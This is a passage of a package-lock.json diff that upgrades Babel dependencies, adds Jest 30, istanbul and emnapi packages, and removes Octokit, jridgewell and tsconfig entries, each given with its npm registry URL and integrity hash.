"dev": true, "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.25.9", - "@babel/helper-validator-option": "^7.25.9", - "@babel/plugin-syntax-jsx": "^7.25.9", - "@babel/plugin-transform-modules-commonjs": "^7.25.9", - "@babel/plugin-transform-typescript": "^7.25.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-validator-option": "^7.27.1", + "@babel/plugin-syntax-jsx": "^7.27.1", + "@babel/plugin-transform-modules-commonjs": "^7.27.1", + "@babel/plugin-transform-typescript": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -594,53 +809,60 @@ } }, "node_modules/@babel/template": { - "version": "7.26.9", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.26.9.tgz", - "integrity": "sha512-qyRplbeIpNZhmzOysF/wFMuP9sctmh2cFzRAZOn1YapxBsE1i9bJIY586R/WBLfLcmcBlM8ROBiQURnnNy+zfA==", + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", + "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", "dev": true, "license": "MIT", "dependencies": { - "@babel/code-frame": "^7.26.2", - "@babel/parser": "^7.26.9", - "@babel/types": "^7.26.9" + "@babel/code-frame": "^7.27.1", + "@babel/parser": "^7.27.2", + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/traverse": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.26.10.tgz", - "integrity": "sha512-k8NuDrxr0WrPH5Aupqb2LCVURP/S0vBEn5mK6iH+GIYob66U5EtoZvcdudR2jQ4cmTwhEwW1DLB+Yyas9zjF6A==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.0.tgz", + "integrity": "sha512-mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/code-frame": "^7.26.2", - "@babel/generator": "^7.26.10", - "@babel/parser": "^7.26.10", - "@babel/template": "^7.26.9", - "@babel/types": "^7.26.10", - "debug": "^4.3.1", - "globals": "^11.1.0" + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.0", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.28.0", + "@babel/template": "^7.27.2", + "@babel/types": "^7.28.0", + "debug": "^4.3.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/types": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.26.10.tgz", - "integrity": "sha512-emqcG3vHrpxUKTrxcblR36dcrcoRDvKmnL/dCL6ZsHaShW80qxCAcNhzQZrpeM765VzEos+xOi4s+r4IXzTwdQ==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.0.tgz", + "integrity": "sha512-jYnje+JyZG5YThjHiF28oT4SIZLnYOcSBb6+SDaFIyzDVSkXQmQQYclJ2R+YxcdmK0AX6x1E5OQNtuh3jHDrUg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-string-parser": "^7.25.9", - "@babel/helper-validator-identifier": "^7.25.9" + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, + "node_modules/@bcoe/v8-coverage": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", + "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", + "dev": true, + "license": "MIT" + }, "node_modules/@cspotcode/source-map-support": { "version": "0.8.1", "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", @@ -653,6 +875,40 @@ "node": ">=12" } }, + "node_modules/@emnapi/core": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.4.3.tgz", + "integrity": "sha512-4m62DuCE07lw01soJwPiBGC0nAww0Q+RY70VZ+n49yDIO13yyinhbWCeNnaob0lakDtWQzSdtNWzJeOJt2ma+g==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.0.2", + "tslib": "^2.4.0" + } + }, + "node_modules/@emnapi/runtime": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.4.3.tgz", + "integrity": "sha512-pBPWdu6MLKROBX05wSNKcNb++m5Er+KQ9QkB+WVM+pW2Kx9hoSrVTnu3BdkI5eBLZoKu/J6mW/B6i6bJB2ytXQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@emnapi/wasi-threads": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.0.2.tgz", + "integrity": "sha512-5n3nTJblwRi8LlXkJ9eBzu+kZR8Yxcc7ubakyQTFzPMtIhFpUBRbsnc2Dv88IZDIbCDlBiWrknhB4Lsz7mg6BA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, "node_modules/@isaacs/cliui": { "version": "8.0.2", "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", @@ -749,547 +1005,2260 @@ "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, - "node_modules/@jridgewell/gen-mapping": { - "version": "0.3.8", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz", - "integrity": "sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==", + "node_modules/@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", "dev": true, - "license": "MIT", + "license": "ISC", "dependencies": { - "@jridgewell/set-array": "^1.2.1", - "@jridgewell/sourcemap-codec": "^1.4.10", - "@jridgewell/trace-mapping": "^0.3.24" + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" }, "engines": { - "node": ">=6.0.0" + "node": ">=8" } }, - "node_modules/@jridgewell/gen-mapping/node_modules/@jridgewell/trace-mapping": { - "version": "0.3.25", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", - "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "node_modules/@istanbuljs/load-nyc-config/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", "dev": true, "license": "MIT", "dependencies": { - "@jridgewell/resolve-uri": "^3.1.0", - "@jridgewell/sourcemap-codec": "^1.4.14" + "sprintf-js": "~1.0.2" } }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "node_modules/@istanbuljs/load-nyc-config/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", "dev": true, "license": "MIT", "engines": { - "node": ">=6.0.0" + "node": ">=6" } }, - "node_modules/@jridgewell/set-array": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz", - "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==", + "node_modules/@istanbuljs/load-nyc-config/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", "dev": true, "license": "MIT", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, "engines": { - "node": ">=6.0.0" + "node": ">=8" } }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz", - "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.9", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", - "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", + "node_modules/@istanbuljs/load-nyc-config/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", "dev": true, + "license": "MIT", "dependencies": { - "@jridgewell/resolve-uri": "^3.0.3", - "@jridgewell/sourcemap-codec": "^1.4.10" + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" } }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "node_modules/@istanbuljs/load-nyc-config/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "license": "MIT", "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" + "p-locate": "^4.1.0" }, "engines": { - "node": ">= 8" + "node": ">=8" } }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "license": "MIT", "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" + "p-try": "^2.0.0" }, "engines": { - "node": ">= 8" - } - }, - "node_modules/@octokit/auth-token": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-2.5.0.tgz", - "integrity": "sha512-r5FVUJCOLl19AxiuZD2VRZ/ORjp/4IN98Of6YJoJOkY75CIBuYfmiNHGrDwXr+aLGG55igl9QrxX3hbiXlLb+g==", - "dependencies": { - "@octokit/types": "^6.0.3" + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/@octokit/core": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/@octokit/core/-/core-3.6.0.tgz", - "integrity": "sha512-7RKRKuA4xTjMhY+eG3jthb3hlZCsOwg3rztWh75Xc+ShDWOfDDATWbeZpAHBNRpm4Tv9WgBMOy1zEJYXG6NJ7Q==", + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "license": "MIT", "dependencies": { - "@octokit/auth-token": "^2.4.4", - "@octokit/graphql": "^4.5.8", - "@octokit/request": "^5.6.3", - "@octokit/request-error": "^2.0.5", - "@octokit/types": "^6.0.3", - "before-after-hook": "^2.2.0", - "universal-user-agent": "^6.0.0" + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" } }, - "node_modules/@octokit/endpoint": { - "version": "6.0.12", - "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-6.0.12.tgz", - "integrity": "sha512-lF3puPwkQWGfkMClXb4k/eUT/nZKQfxinRWJrdZaJO85Dqwo/G0yOC434Jr2ojwafWJMYqFGFa5ms4jJUgujdA==", - "dependencies": { - "@octokit/types": "^6.0.3", - "is-plain-object": "^5.0.0", - "universal-user-agent": "^6.0.0" + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" } }, - "node_modules/@octokit/graphql": { - "version": "4.8.0", - "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-4.8.0.tgz", - "integrity": "sha512-0gv+qLSBLKF0z8TKaSKTsS39scVKF9dbMxJpj3U0vC7wjNWFuIpL/z76Qe2fiuCbDRcJSavkXsVtMS6/dtQQsg==", + "node_modules/@jest/console": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-30.0.2.tgz", + "integrity": "sha512-krGElPU0FipAqpVZ/BRZOy0MZh/ARdJ0Nj+PiH1ykFY1+VpBlYNLjdjVA5CFKxnKR6PFqFutO4Z7cdK9BlGiDA==", + "dev": true, + "license": "MIT", "dependencies": { - "@octokit/request": "^5.6.0", - "@octokit/types": "^6.0.3", - "universal-user-agent": "^6.0.0" + "@jest/types": "30.0.1", + "@types/node": "*", + "chalk": "^4.1.2", + "jest-message-util": "30.0.2", + "jest-util": "30.0.2", + "slash": "^3.0.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@octokit/openapi-types": { - "version": "11.2.0", - "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-11.2.0.tgz", - "integrity": "sha512-PBsVO+15KSlGmiI8QAzaqvsNlZlrDlyAJYcrXBCvVUxCp7VnXjkwPoFHgjEJXx3WF9BAwkA6nfCUA7i9sODzKA==" - }, - "node_modules/@octokit/plugin-paginate-rest": { - "version": "2.17.0", - "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-2.17.0.tgz", - "integrity": "sha512-tzMbrbnam2Mt4AhuyCHvpRkS0oZ5MvwwcQPYGtMv4tUa5kkzG58SVB0fcsLulOZQeRnOgdkZWkRUiyBlh0Bkyw==", + "node_modules/@jest/core": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-30.0.3.tgz", + "integrity": "sha512-Mgs1N+NSHD3Fusl7bOq1jyxv1JDAUwjy+0DhVR93Q6xcBP9/bAQ+oZhXb5TTnP5sQzAHgb7ROCKQ2SnovtxYtg==", + "dev": true, + "license": "MIT", "dependencies": { - "@octokit/types": "^6.34.0" + "@jest/console": "30.0.2", + "@jest/pattern": "30.0.1", + "@jest/reporters": "30.0.2", + "@jest/test-result": "30.0.2", + "@jest/transform": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "ansi-escapes": "^4.3.2", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "exit-x": "^0.2.2", + "graceful-fs": "^4.2.11", + "jest-changed-files": "30.0.2", + "jest-config": "30.0.3", + "jest-haste-map": "30.0.2", + "jest-message-util": "30.0.2", + "jest-regex-util": "30.0.1", + "jest-resolve": "30.0.2", + "jest-resolve-dependencies": "30.0.3", + "jest-runner": "30.0.3", + "jest-runtime": "30.0.3", + "jest-snapshot": "30.0.3", + "jest-util": "30.0.2", + "jest-validate": "30.0.2", + "jest-watcher": "30.0.2", + "micromatch": "^4.0.8", + "pretty-format": "30.0.2", + "slash": "^3.0.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" }, "peerDependencies": { - "@octokit/core": ">=2" + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } } }, - "node_modules/@octokit/plugin-request-log": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-1.0.4.tgz", - "integrity": "sha512-mLUsMkgP7K/cnFEw07kWqXGF5LKrOkD+lhCrKvPHXWDywAwuDUeDwWBpc69XK3pNX0uKiVt8g5z96PJ6z9xCFA==", - "peerDependencies": { - "@octokit/core": ">=3" + "node_modules/@jest/diff-sequences": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/diff-sequences/-/diff-sequences-30.0.1.tgz", + "integrity": "sha512-n5H8QLDJ47QqbCNn5SuFjCRDrOLEZ0h8vAHCK5RL9Ls7Xa8AQLa/YxAc9UjFqoEDM48muwtBGjtMY5cr0PLDCw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@octokit/plugin-rest-endpoint-methods": { - "version": "5.13.0", - "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-5.13.0.tgz", - "integrity": "sha512-uJjMTkN1KaOIgNtUPMtIXDOjx6dGYysdIFhgA52x4xSadQCz3b/zJexvITDVpANnfKPW/+E0xkOvLntqMYpviA==", + "node_modules/@jest/environment": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.0.2.tgz", + "integrity": "sha512-hRLhZRJNxBiOhxIKSq2UkrlhMt3/zVFQOAi5lvS8T9I03+kxsbflwHJEF+eXEYXCrRGRhHwECT7CDk6DyngsRA==", + "dev": true, + "license": "MIT", "dependencies": { - "@octokit/types": "^6.34.0", - "deprecation": "^2.3.1" + "@jest/fake-timers": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "jest-mock": "30.0.2" }, - "peerDependencies": { - "@octokit/core": ">=3" + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@octokit/request": { - "version": "5.6.3", - "resolved": "https://registry.npmjs.org/@octokit/request/-/request-5.6.3.tgz", - "integrity": "sha512-bFJl0I1KVc9jYTe9tdGGpAMPy32dLBXXo1dS/YwSCTL/2nd9XeHsY616RE3HPXDVk+a+dBuzyz5YdlXwcDTr2A==", + "node_modules/@jest/expect": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-30.0.3.tgz", + "integrity": "sha512-73BVLqfCeWjYWPEQoYjiRZ4xuQRhQZU0WdgvbyXGRHItKQqg5e6mt2y1kVhzLSuZpmUnccZHbGynoaL7IcLU3A==", + "dev": true, + "license": "MIT", "dependencies": { - "@octokit/endpoint": "^6.0.1", - "@octokit/request-error": "^2.1.0", - "@octokit/types": "^6.16.1", - "is-plain-object": "^5.0.0", - "node-fetch": "^2.6.7", - "universal-user-agent": "^6.0.0" + "expect": "30.0.3", + "jest-snapshot": "30.0.3" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@octokit/request-error": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.1.0.tgz", - "integrity": "sha512-1VIvgXxs9WHSjicsRwq8PlR2LR2x6DwsJAaFgzdi0JfJoGSO8mYI/cHJQ+9FbN21aa+DrgNLnwObmyeSC8Rmpg==", + "node_modules/@jest/expect-utils": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-30.0.3.tgz", + "integrity": "sha512-SMtBvf2sfX2agcT0dA9pXwcUrKvOSDqBY4e4iRfT+Hya33XzV35YVg+98YQFErVGA/VR1Gto5Y2+A6G9LSQ3Yg==", + "dev": true, + "license": "MIT", "dependencies": { - "@octokit/types": "^6.0.3", - "deprecation": "^2.0.0", - "once": "^1.4.0" + "@jest/get-type": "30.0.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@octokit/rest": { - "version": "18.12.0", - "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-18.12.0.tgz", - "integrity": "sha512-gDPiOHlyGavxr72y0guQEhLsemgVjwRePayJ+FcKc2SJqKUbxbkvf5kAZEWA/MKvsfYlQAMVzNJE3ezQcxMJ2Q==", + "node_modules/@jest/fake-timers": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.0.2.tgz", + "integrity": "sha512-jfx0Xg7l0gmphTY9UKm5RtH12BlLYj/2Plj6wXjVW5Era4FZKfXeIvwC67WX+4q8UCFxYS20IgnMcFBcEU0DtA==", + "dev": true, + "license": "MIT", "dependencies": { - "@octokit/core": "^3.5.1", - "@octokit/plugin-paginate-rest": "^2.16.8", - "@octokit/plugin-request-log": "^1.0.4", - "@octokit/plugin-rest-endpoint-methods": "^5.12.0" + "@jest/types": "30.0.1", + "@sinonjs/fake-timers": "^13.0.0", + "@types/node": "*", + "jest-message-util": "30.0.2", + "jest-mock": "30.0.2", + "jest-util": "30.0.2" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@octokit/types": { - "version": "6.34.0", - "resolved": "https://registry.npmjs.org/@octokit/types/-/types-6.34.0.tgz", - "integrity": "sha512-s1zLBjWhdEI2zwaoSgyOFoKSl109CUcVBCc7biPJ3aAf6LGLU6szDvi31JPU7bxfla2lqfhjbbg/5DdFNxOwHw==", - "dependencies": { - "@octokit/openapi-types": "^11.2.0" + "node_modules/@jest/get-type": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/get-type/-/get-type-30.0.1.tgz", + "integrity": "sha512-AyYdemXCptSRFirI5EPazNxyPwAL0jXt3zceFjaj8NFiKP9pOi0bfXonf6qkf82z2t3QWPeLCWWw4stPBzctLw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@pkgjs/parseargs": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", - "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "node_modules/@jest/globals": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-30.0.3.tgz", + "integrity": "sha512-fIduqNyYpMeeSr5iEAiMn15KxCzvrmxl7X7VwLDRGj7t5CoHtbF+7K3EvKk32mOUIJ4kIvFRlaixClMH2h/Vaw==", "dev": true, - "optional": true, + "license": "MIT", + "dependencies": { + "@jest/environment": "30.0.2", + "@jest/expect": "30.0.3", + "@jest/types": "30.0.1", + "jest-mock": "30.0.2" + }, "engines": { - "node": ">=14" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@tsconfig/node10": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.9.tgz", - "integrity": "sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==", - "dev": true - }, - "node_modules/@tsconfig/node12": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz", - "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==", - "dev": true - }, - "node_modules/@tsconfig/node14": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz", - "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==", - "dev": true - }, - "node_modules/@tsconfig/node16": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.3.tgz", - "integrity": "sha512-yOlFc+7UtL/89t2ZhjPvvB/DeAr3r+Dq58IgzsFkOAvVC6NMJXmCGjbptdXdR9qsX7pKcTL+s87FtYREi2dEEQ==", - "dev": true - }, - "node_modules/@types/chai": { - "version": "4.3.3", - "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.3.3.tgz", - "integrity": "sha512-hC7OMnszpxhZPduX+m+nrx+uFoLkWOMiR4oa/AZF3MuSETYTZmFfJAHqZEM8MVlvfG7BEUcgvtwoCTxBp6hm3g==", - "dev": true - }, - "node_modules/@types/glob": { - "version": "5.0.38", - "resolved": "https://registry.npmjs.org/@types/glob/-/glob-5.0.38.tgz", - "integrity": "sha512-rTtf75rwyP9G2qO5yRpYtdJ6aU1QqEhWbtW55qEgquEDa6bXW0s2TWZfDm02GuppjEozOWG/F2UnPq5hAQb+gw==", + "node_modules/@jest/pattern": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/pattern/-/pattern-30.0.1.tgz", + "integrity": "sha512-gWp7NfQW27LaBQz3TITS8L7ZCQ0TLvtmI//4OwlQRx4rnWxcPNIYjxZpDcN4+UlGxgm3jS5QPz8IPTCkb59wZA==", "dev": true, "license": "MIT", "dependencies": { - "@types/minimatch": "*", - "@types/node": "*" + "@types/node": "*", + "jest-regex-util": "30.0.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@types/js-yaml": { - "version": "4.0.9", - "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-4.0.9.tgz", - "integrity": "sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==", - "dev": true - }, - "node_modules/@types/jscodeshift": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/@types/jscodeshift/-/jscodeshift-0.12.0.tgz", - "integrity": "sha512-Jr2fQbEoDmjwEa92TreR/mX2t9iAaY/l5P/GKezvK4BodXahex60PDLXaQR0vAgP0KfCzc1CivHusQB9NhzX8w==", + "node_modules/@jest/reporters": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-30.0.2.tgz", + "integrity": "sha512-l4QzS/oKf57F8WtPZK+vvF4Io6ukplc6XgNFu4Hd/QxaLEO9f+8dSFzUua62Oe0HKlCUjKHpltKErAgDiMJKsA==", "dev": true, "license": "MIT", "dependencies": { - "ast-types": "^0.14.1", - "recast": "^0.20.3" + "@bcoe/v8-coverage": "^0.2.3", + "@jest/console": "30.0.2", + "@jest/test-result": "30.0.2", + "@jest/transform": "30.0.2", + "@jest/types": "30.0.1", + "@jridgewell/trace-mapping": "^0.3.25", + "@types/node": "*", + "chalk": 